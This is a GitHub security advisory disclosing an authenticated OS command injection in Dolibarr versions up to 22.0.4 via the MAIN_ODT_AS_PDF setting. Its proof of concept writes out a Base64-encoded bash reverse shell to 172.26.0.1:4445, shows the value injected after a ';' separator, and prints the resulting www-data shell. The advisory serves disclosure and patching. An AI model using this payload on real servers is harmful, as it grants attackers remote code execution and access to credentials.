

Dolibarr / dolibarr Public[Code](#) [Issues](#) 842 [Pull requests](#) 315 [Actions](#) [Projects](#) [Security and quality](#)

OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration

Critical eldy published GHSA-w5j3-8fcr-h87w 19 hours ago

Package

Dolibarr/dolibarr

Affected versions

<=22.0.4

Patched versions

23.0

Description

Summary

An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the `MAIN_ODT_AS_PDF` configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the `exec()` function in the ODT to PDF conversion process.

Details

The vulnerability is located in `htdocs/includes/odtphp/odf.php`.

When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the `MAIN_ODT_AS_PDF` global setting.

Code snippet (`htdocs/includes/odtphp/odf.php`, approx line 930):

```
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);  
// ...  
exec($command, $output_arr, $retval);
```



While the filename `$name` is sanitized using `escapeshellcmd()`, the configuration variable `MAIN_ODT_AS_PDF` is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like `;`) followed by arbitrary commands.

PoC

Prerequisites:

1. Login as an Administrator.
2. Ensure the "Commercial Proposals" module is enabled and "ODT templates" are activated in its setup.

Steps to reproduce (Reverse Shell):

1. Start a netcat listener on the attacker's machine (IP: `172.26.0.1` , Port: `4445`):

```
nc -lvnp 4445
```



2. Prepare the payload. To avoid issues with special characters (like `&` or `>`) being escaped by the web application or shell, encode the reverse shell command in Base64:

```
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMSck
```



3. Navigate to **Home -> Setup -> Other Setup**.

4. Add or modify the constant `MAIN_ODT_AS_PDF` with the following injection payload:

```
jodconverter ; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMSck
```



(Explanation: `jodconverter` satisfies the initial check, `;` acts as a command separator, and the pipeline decodes and executes the Base64 payload).

Name	Value	Comment	Modif. date	
MAIN_FEATURES_LEVEL	0	Level of features to show: -1=	01/07/2026 09:42 AM	<input type="checkbox"/>
MAIN_ODT_AS_PDF	D4mMSck base64 -d bash	RCE	01/07/2026 10:22 AM	<input checked="" type="checkbox"/>

5. Navigate to **Commerce -> New proposal**, create a draft, select an ODT template (e.g., `generic_proposal_odt`), and click **Generate**.

The screenshot shows the Dolibarr web application interface. The main content area displays a commercial proposal form for '(PROV3) Ref. customer: TakePOS generic customer (Other proposals)'. The form includes fields for 'Date of proposal' (01/07/2026), 'Validity ending date' (01/22/2026), 'Payment Terms', 'Payment method', 'Delivery date', 'Availability delay', 'Shipping method', 'Source', and 'Incoterms'. A 'GENERATE' button is visible in the 'Linked files' section, highlighted with a red arrow. Below the form, there is a table for 'Linked files' and a table for 'The last 10 events'.

Linked files

A close-up view of the 'GENERATE' button in the Dolibarr interface. The button is located in the 'Linked files' section, next to the 'Doc template' dropdown menu. A red arrow points to the 'GENERATE' button. Below the button, there is a table showing the details of the generated file: '(PROV3).pdf', 8530 b., 01/07/2026 11:18 AM, and http://localhos.

6. Check the netcat listener. A connection will be established, granting a shell on the server:

```
(kali@kali)-[~/dolibarr]
└─$ nc -lnvp 4445
listening on [any] 4445 ...
connect to [172.26.0.1] from (UNKNOWN) [172.26.0.3] 32906
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@630bd185abe0:/var/www/html/comm/propal$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@630bd185abe0:/var/www/html/comm/propal$
```

Impact

Remote Code Execution (RCE).

An attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically `www-data`). This allows for:

- Reading sensitive configuration files (database credentials).
- Modifying application code.
- Full system compromise depending on server configuration (e.g., docker escape, pivoting).

Credits

Reported by Łukasz Rybak

Severity

Critical 9.4 / 10

CVSS v4 base metrics

Exploitability Metrics

Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	High
User interaction	None

Vulnerable System Impact Metrics

Confidentiality	High
Integrity	High
Availability	High

Subsequent System Impact Metrics

Confidentiality	High
Integrity	High
Availability	High

[Learn more about base metrics](#)

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID

CVE-2026-23500

Weaknesses

► CWE-78

Credits



lukasz-rybak

Reporter